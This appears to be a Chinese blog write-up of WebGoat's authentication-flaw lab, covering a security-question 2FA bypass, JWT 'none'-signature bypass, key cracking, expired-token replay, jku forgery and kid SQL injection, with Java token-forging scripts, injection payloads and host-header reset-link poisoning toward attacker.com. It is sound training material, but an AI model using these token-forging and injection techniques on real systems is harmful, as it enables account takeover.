WebGoat靶场-身份认证缺陷
1diot9 Lv4

前言

简单的部分就一笔带过了。虽然有些是之前学过的,但这里从代码审计的角度再看一遍,加深印象。现在还在想一个问题,是边写边做笔记,还是写完再做笔记更好?这里先选择边写边做试试。

二因素认证绕过

抓包后找到对应的方法,直接看源码:img

要success,先要不进入上面的if,然后进入下面的if。

先看上面if的判断。

paseSecQuestions是只留下含有secQuestion的POST参数,即留下安全问题的答案,具体方法如下:img

默认的secQuestion参数是secQuestion0和secQuestion1,我们可以改成任意包含secQuestion的参数。

然后跟进didUserLikelylCheat方法,具体代码:img

我们需要返回false,这里让secQuestion参数不是secQuestion0和secQuestion1就行,我这里改成secQuestionA和secQuestionB。理论上这里直接去掉这两个参数都行,但是这样后面会出问题。

接着看第二个if,即verifyAccount方法:img

这里解释了为什么不能把secQuestion参数删除,删了就过不了这里的第一个if了。下面两个if由于我们把secQuestion改成了secQuestionA&secQuestionB,所以不用知道安全问题的答案也能通过。

最终报文:img

明文传输

这个很简单,就是抓包后得到的是明文,这样被嗅探的话就很危险。具体不演示了,抓包就行。

JWT

jwt解码

这个很简单,直接base64解码就行,推荐用jwt.io这个网站:img

空签名绕过

这关需要以admin身份去reset。点击任意一个vote按钮,都提示我们是guest,需要先登录:img

看一下cookie,发现虽然有token,但是是空的:img

但是这里又没有login的登录框,所以去看源码吧。

能够发现有一个login方法:img

if判断需要我们传入一个特定的user,不然就会进入else,返回一个空的token。这个特定的user是硬编码,在上面找到:img

同时55行也给了jwt的key,先有个印象。

访问/login后,即可获得token:img

后来才知道,TomJerrySylvester原来是三个用户,不过不影响:

img

接下来切换到tom,解码他的token:img

这里可以用none加密绕过,原因在resetVotes方法里。首先,为什么直接去看resetVotes方法?因为我们的目标就是reset,所以优先找最接近的方法。下面是具体代码:img

注意这个parse,这个parse是不会验证用户提供的token签名是否与真实的token签名一致,因此签名的作用形同虚设,可以直接通过none绕过,具体如下:img直接把签名算法部分改成none,然后在下面直接修改payload部分即可。最后更改token,再次reset就行了。

那么,验证签名的jwt解析代码怎么写?其实很简单,把parse方法改成parseClaimsJws即可:img

jwt密钥暴力破解

当使用弱密码时,我们可以尝试暴力破解或字典破解jwt的key,这里推荐使用jwt_tool:https://github.com/ticarpi/jwt_tool

成功找到victory就是密钥:img

另外,查看源码可以发现一共有5个key,每次会随机一个,而且实际上的JWT_SECRET是单词进行base64编码的:

img

本来还是想用jwt.io,但是那边说key太短,没法加密:img

所以写个脚本加密,直接照搬题目的加密逻辑就行了:img

过期token重放

这个的重点也在拿到key,没key是改不了的。

还是先简单做一下黑盒测试,对这个关卡抓包,可以发现:img

这个就是给我们发放token的过程,去看对应代码:img

过程很简单,就是根据我们的user和password发token。这里的token有两个:1、普通的token,有iat(签发时间)、admin、user、算法是HS512 2、refreshtoken,随机产生的 这两个token最后都存入一个叫tokenJson的HashMap里。

接着看重点,即过关条件的代码:img

有两种过关方式,两者的共同条件都是JWT中的user=Tom

1、空签名:这个很简单,alg改成none,然后直接修改即可

img

2、过期token重放:这个需要先去找到tom之前的token,靶场给我们提供了:img

找到tom之前的token后解码,发现token2018年就过期了:

img

现在的目标就是找出key,然后改时间。key硬编码在源码中,所以写个脚本重新生成JWT就行,注意算法是HS512,这个卡了我好久:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package tmp;

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.time.Instant;
import java.util.Calendar;
import java.util.Date;

public class jtw {
private static final String JWT_SECRET = "bm5n3SkxCX4kKRy4";
public static String getSecretToken() {
return Jwts.builder()
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(600)))
.claim("user", "Tom")
.claim("admin", "false")
.signWith(SignatureAlgorithm.HS512, JWT_SECRET)
.compact();
}

public static void main(String[] args) {
String secretToken = getSecretToken();
System.out.println(secretToken);
}
}

然后在请求体中替换token即可。img

jku伪造

简单理解: JWT 的 jku 字段可以指向一个远程 URL,表示验证 token 时应从该 URL 下载公钥。攻击者可以伪造这个 URL 指向自己控制的服务器,从而用自己的私钥签发伪造的 token,并通过验证。

首先,还是抓包delete请求,看看token:imgimg

目标很明确,生成自己的RSA256密钥对,将jku指向自己的公钥存放URL,修改username为Tom后用自己的私钥签名。

先让ai写一段脚本生成密钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# 生成私钥
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)

# 导出私钥 PEM
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)

# 生成公钥
public_key = private_key.public_key()

# 导出公钥 PEM
public_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# 写入文件
with open("./rsa/private.pem", "wb") as f:
f.write(private_pem)

with open("./rsa/public.pem", "wb") as f:
f.write(public_pem)

print("✅ RSA256 密钥对已生成:private.pem 和 public.pem")

然后,把公钥写成json形式,这个我也是问了ai才知道,前面一直错:

1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "public",
"n": "waG38ngPzF_qHctvoZywVkCCYCRrII9agN3sE-Tb0djiyY_0SaRi-GJttO8FT0pGysWR71p7SzMUQV15DctIcKFACLPgsWX_J_ubd7AkcNDZtj5usdODid37SA8Pflj-Ie83etC4fqcQVLNPeZkqYA2pY5y_OuttiFpwWaxpO6GVSKCyK8P3Op9rNqfoB5FdS90axTf_Peq3cNhKgRlfzrmYP9KA7w8j4wQB6YiK7FKyy05VLzAFUeuupPDLgZ3HMaD3nfE55YkAr7vJkrdg-9qh3L6uvteWj84eDRXK-lvWXbY0VMQGCj4qJXzuogHqsVggyM8E4GUEeQghOTlR6Q",
"e": "AQAB"
}
]
}

具体含义如下:

img

建议让AI生成,没接触过rsa加密很容易错,把公钥提供给ai就行。

创建一个public.json文件,然后在同目录下开一个python http服务(python -m http.server 7778)

最后私钥签名即可,过期时间别忘记改:img

最后抓包改token就行了:img

kid注入

kid的含义在上面学过了,就是取出对应的签名密钥。下面看关键代码:img

获取密钥的方式在这个重写方法中,调试一下能跟进去。另外要注意,key被查询出后,会进行一次base64解码再用于签名验证,所以之后注入时需要将你的密钥base64加密后再注入。

总任务还是获取key,这里有两种方法。

1、直接由调试获取它原本的key

这种是非常规打法,因为现实环境不可能在审计时连上它的数据库,但这里还是讲一下。

获取key:

img

然后写脚本签名即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class jtw {
private static final byte[] JWT_SECRET = Base64.getDecoder().decode("qwertyqwerty1234");
public static String getSecretToken() {
return Jwts.builder()
.setIssuedAt(Calendar.getInstance().getTime())
.setHeaderParam("kid", "webgoat_key")
.setHeaderParam("typ", "JWT")
.setExpiration(Date.from(Instant.now().plusSeconds(6000)))
.claim("username", "Tom")
.claim("admin", "false")
.signWith(SignatureAlgorithm.HS256, JWT_SECRET)
.compact();
}

public static void main(String[] args) {
String secretToken = getSecretToken();
System.out.println(secretToken);
}
}

2、注入kid,这个就是常规方法。还是看一下主要逻辑代码:img

题目默认的kid是webgoat_key,因此我们如果想通过注入来指定任意key的话,可以将kid写成下面的值:

1
' union select 'a2V5' from jwt_keys where id = 'webgoat_key

a2V5 base64解码就是key,可以自己设置别的值。

其实还试过直接注释掉,但会报错,当时是这样写的:

1
' union select 'a2V5'-- 

报错为: unexpected end of statement

后面发现似乎必须有个from的操作,双横杠注释后面的空格不加也行,比如这样:

1
' union select 'a2V5' from jwt_keys--

然后将自己的kid注入即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class jtw {
private static final String JWT_SECRET = "a2V5";
public static String getSecretToken() {
return Jwts.builder()
.setIssuedAt(Calendar.getInstance().getTime())
.setHeaderParam("kid", "' union select 'a2V5' from jwt_keys where id = 'webgoat_key")
.setHeaderParam("typ", "JWT")
.setExpiration(Date.from(Instant.now().plusSeconds(6000)))
.claim("username", "Tom")
.claim("admin", "false")
.signWith(SignatureAlgorithm.HS256, JWT_SECRET)
.compact();
}

public static void main(String[] args) {
String secretToken = getSecretToken();
System.out.println(secretToken);
}
}

这里发现脚本中jwt key 都是base64编码的,跟进signWith方法,找实现类能发现里面还是会解码:img

这解释了为什么之前很多jwt key都是base64格式。

最后更改token发包就行了:img

HSQLDB小知识

在注入的过程中,踩了很多坑,后面发现都是由于不清楚HSQLDB的注入性质发生的。

HSQLDB在select时,必须有一个from操作,不然会报错,这个跟 PostgreSQL / MySQL / SQLite 不一样。

一般绕过有:

select 1 from (VALUES(0)) (VALUES(0))代表临时表,即只有一行,值为0

select 1 from INFORMATION_SCHEMA.SYSTEM_USERS

这些很多文章都没说,可能默认你会了吧,但是我当时不会,导致花了很多时间。

密码重置

第一题

就是让你测试一下webwolf的收邮件功能,没什么。

第二题

让你找出其他用户最喜欢的颜色,这个其实是告诉我们,像这种安全问题有时候可以爆破,因为常见的颜色就那么几种。这里由于可以看源码,一下子就知道了:

img

第三题

这里告诉你为什么安全问题很难设置,列举了许多安全问题和其缺点,任意阅读两个即可。(怪不得现在基本看不见这种验证方式了,确实有很多问题,小时候设置的安全问题现在全忘了)

第四题

这题是修改邮箱中重置密码的链接。先来解释一下原理。

正常情况下,重置密码的链接是发到自己邮箱里的,比如这一题填webgoat@webgoat.org,就会把邮件发到webwolf对应的邮箱里:

imgimg

然后点击这里的link就会进入重置密码页面(当然这里不会真的重置你的靶场登录密码)。

这里的link是:http://localhost:8085/WebGoat/PasswordReset/reset/reset-password/8b53dd29-bdd6-40f4-8a75-196d568d7364

当我们将重置邮箱填tom@webgoat-cloud.org时,重置邮件会发送给tom,其link应该也是上面这种形式。但是如果攻击者对link里的host可控,就会造成这样的情况,link被修改为:http://www.attacker.com/WebGoat/PasswordReset/reset/reset-password/8b53dd29-bdd6-40f4-8a75-196d568d7364

那么就会对攻击者的服务器发送一个重置请求。这样一来,受害者tom应该会看到浏览器什么都没打开,但是攻击者却受到了tom的重置link,即:http://www.attacker.com/WebGoat/PasswordReset/reset/reset-password/8b53dd29-bdd6-40f4-8a75-196d568d7364

这样一来,攻击者只需要修改前面的host为官方地址就可以重置tom的密码了。

接下来看代码,我们发送重置密码后具体处理逻辑如下:img

我们这里要进入上面那个if,所以需要手动更改host为webwolf的:img

这样进入if后,就会往userToTomResetLink中放入键值对。然后在fakeClickingLinkEmail方法里,会模拟受害者点击邮箱中的密码重置链接。这里的密码重置链接就会被我们的webwolf收到:img

于是我们就能得到tom的密码重置链接,接下来就很简单了。

一开始没弄懂原理,直接看源码,从成功条件反推的。也是发现这里的密码重置链接并不会用一次就失效,而是可以一直用,不过如果没把Host改成webwolf就是假修改,不会生效。因为下面这个代码:img

必须进入这个if才能真正修改,而这个if对应的checkIfLinkIsFromTom中的userToTomResetLink,只有在前面Host为webwolf的时候才会添加。

另外,userToTomResetLink始终只存在一个键值对,因为用的是put方法。而resetLinks会随着请求而一直增加,因为用的是add方法。当时迷惑为什么前者每次都会重置,明明两个都是static变量。这也算是模拟真正的重置链接只能用一次。

安全的密码

这里就是告诉你要设置强密码,没什么好说的。

小结

之前对JWT是一知半解,这次学习后算是清楚一点了,主要是做了很多实操,尤其是jku和kid。同时对HSQL的注入也有了初步认识。

参考

https://drun1baby.top/2022/04/07/WebGoat%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-04-%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BC%BA%E9%99%B7(%E4%B8%8A)/#5-JWT-Tokens-PageLesson10-Refresh-a-token

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量